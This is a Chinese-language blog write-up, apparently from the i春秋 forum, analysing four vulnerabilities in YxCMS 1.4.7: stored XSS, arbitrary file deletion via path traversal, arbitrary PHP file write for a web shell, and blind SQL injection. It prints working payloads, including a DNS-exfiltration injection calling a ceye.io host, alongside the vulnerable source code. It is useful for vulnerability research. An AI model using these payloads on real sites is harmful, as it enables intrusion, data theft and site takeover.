YxCMS 1.4.7 最新版漏洞分析
i春秋作家:F0rmat
原文来自:YxCMS 1.4.7 最新版漏洞分析
0x01前言
很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的。
在先知看到的,大部分都是后台漏洞,部分厂商对于后台的漏洞都不认可,因为厂商觉得能进入后台这些漏洞都不是漏洞。最恐怖的是厂商否认了漏洞存在,然后偷偷的去修复。
0x02 安装程序
具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms
0x03 前台XSS
1.漏洞复现
- 打开链接http://sb.com/index.php?r=default/column/index&col=guestbook
输入payload:<svg/onload=alert(1)>
- 然后登陆后台,查看审核
点击编辑
2.漏洞分析
前台的文件源码
protected/apps/default/controller/columnController.php
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用 break;
case 5://自定义 break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}- 后台的文件源码
protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}中间没什么过滤,具体可以看松哥的一篇文章:https://www.hackersb.cn/hacker/85.html
0x04 任意文件删除
1.漏洞复现
- 需要先登录后台,然后访问之后会显示缩略图不存在:
Payload:http://sb.com/index.php?r=admin/photo/delpic
POST:picname=../../protected/apps/install/install.lock
- 然后访问网站首页就会自动转到安装的页面http://sb.com/index.php
- 看到目录下的install.lock文件已经被删除了
2.漏洞分析
- 漏洞文件:
protected/apps/admin/controller/photoController.php
,在第355行的delpic()函数,可以看到$picname
接收POST过来的值,然后$path
等于文件开头定义的静态变量static protected $uploadpath='';//图片上传路径
没有对传入的值进行任何的过滤,使用函数file_exists()
判断一下文件是否存在就给unlink
执行删除文件了。public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
0x05 任意文件写入
1.漏洞复现
- 打开地址http://sb.com/index.php?r=admin/set/tpadd&Mname=default
- 打开我们的文件监控软件
FolderChangesView
,输入我们的程序路径D:\phpStudy\PHPTutorial\WWW\YXcms
- 然后写shell.php文件名,写入我们的代码。
- 然后会在
\protected\apps\default\view\default
下面生成我们写入的文件。
2.漏洞分析
- 漏洞文件
protected/apps/admin/controller/setController.php
的140行,$tpfile
接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default
,所以$tpfile
就是default
。 - 再来下是检测是否有POST的值,接受到POST过来的
filename
,用trim
去掉两边的空格。接收到POST过来的code
,用stripcslashes
反转义。 $filepath=$templepath.$filename.'.php'
这一句是路径和文件的拼接,然后下面检测路径是否存在。最后没有过滤任何的危险函数就传给
file_put_contents
函数,写入网站的目录。public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败!');
}
$this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display(); }
}0x06 SQL注入
1.漏洞复现
这个盲注可以用ceye.io和python脚本跑,我之前的文章也有写到。
http://sb.com/index.php?r=admin/fragment/index
payload:1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--
- 点击删除
然后用burp截获数据,修改内容加上我们的payload,用原文的payload后面+
会报错
然后进入http://ceye.io/records/dns 查看我们的数据
2.漏洞分析
- 查看漏洞文件
protected/apps/admin/controller/fragmentController.php
的第63行public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
} - 我们跟
if(model('fragment')->delete("id='$id'"))
,它会先到protected/core.php
文件里面的model
function model($model){
static $objArray = array();
$className = $model . 'Model';
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
}
$objArray[$className] = new $className();
}
return $objArray[$className];
} - 然后到
protected/apps/admin/model/fragmentModel.php
<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
} - 继续
protected/base/model/baseModel.php
<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
} - 再来到最底层的数据库操作类
protected/base/model/model.php
的第45行public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}这个
delete()
是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel
static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
} 漏洞文件在
protected/include/core/cpModel.class.php
,public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除 $this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}这里用到了一个方法
_parseCondition()
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
}这个函数是在
protected/include/core/db/cpMysql.class.php
的128行public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
} if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}里面有一个行数来过滤
escape
,我们找到74行的这个函数定义public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
} if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}不过这个函数有一句
is_array
如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。0x07 参考
程序下载:https://www.lanzous.com/i1w4bsb
https://xz.aliyun.com/t/2734
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://ceye.io大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
YxCMS 1.4.7 最新版漏洞分析的更多相关文章
- 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析
这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- Zabbix 漏洞分析
之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- CVE-2016-0143 漏洞分析(2016.4)
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- CVE-2014-4115漏洞分析(2014.11)
CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
随机推荐
- Oracle定时任务Job笔记
定时任务应用场景: 某一个生产系统上面,临时表不断变多,占了不少磁盘空间.由于这套软件是直接买的,不方便修改源代码.所以考虑使用Oracle定时任务直接从数据库层删除临时表. 定时任务业务: 首先写好 ...
- DOCKER学习 docker
DOCKER只能安装到LIUX系列机器上 如果WINDOWS想安装必须通过虚拟机来完成. 比如用VM,VBOX等 安装之前需要用ROOT账户 su 安装DOCKER (CE是个人版本,EE是企业版本) ...
- python中的深浅copy
https://www.cnblogs.com/Eva-J/p/5534037.html 转自Eva_J 分析的特别好
- composer require aliyuncs/oss-sdk-php
composer require aliyuncs/oss-sdk-php composer install require_once __DIR__ . '/vendor/autoload.php' ...
- UML中的六种关系
设计模式是一种对于面向对象语言(C#,C++,Java)的高级应用.其思维体现出的是真正的代码设计.每一种模式都堪称巧妙!但基于各种设计模式,这里少不了基本的类图设计,本文简要列出6种关系,及相关的例 ...
- 在 ASP.NET Core 中发送邮件遇到的坑_学习笔记
功能需求 因为项目需要有个忘记密码验证邮箱再重新修改密码的功能,然后我选用了很简单的一个方案,通过验证登录用户的邮箱然后发送邮件,通过这个邮件发送的链接地址来最后实现密码修改的小功能. 项目环境及实现 ...
- C# Winform Soket 网络编程 多个客户端连接服务器并返回客户端操作请求
2017.8.2 服务器: #region 参数与集合 /// <summary> /// 客户端IP /// </summary> string clientIP; /// ...
- 2T以上磁盘格式化
1.安装软件 对于 Debian/Ubuntu 用户, 使用 APT-GET 命令或者 APT 命令来安装 parted #apt-get install -y parted 对于 RHEL/Cent ...
- 深入理解java虚拟机(二)-----垃圾回收
做一个java程序员很是幸福,不用管不用的对象如何被回收,但是我认为了解一下也不是坏事. 一.如何判断对象已经死亡? 在进行垃圾回收之前,第一件事肯定是判断对象是否已经死亡.1.引用计数算法给对象添加 ...
- Java性能优化的50个细节(珍藏版)
原文地址:https://www.toutiao.com/i6595499804082569742/ 在JAVA程序中,性能问题的大部分原因并不在于JAVA语言,而是程序本身.养成良好的编码习惯非常重 ...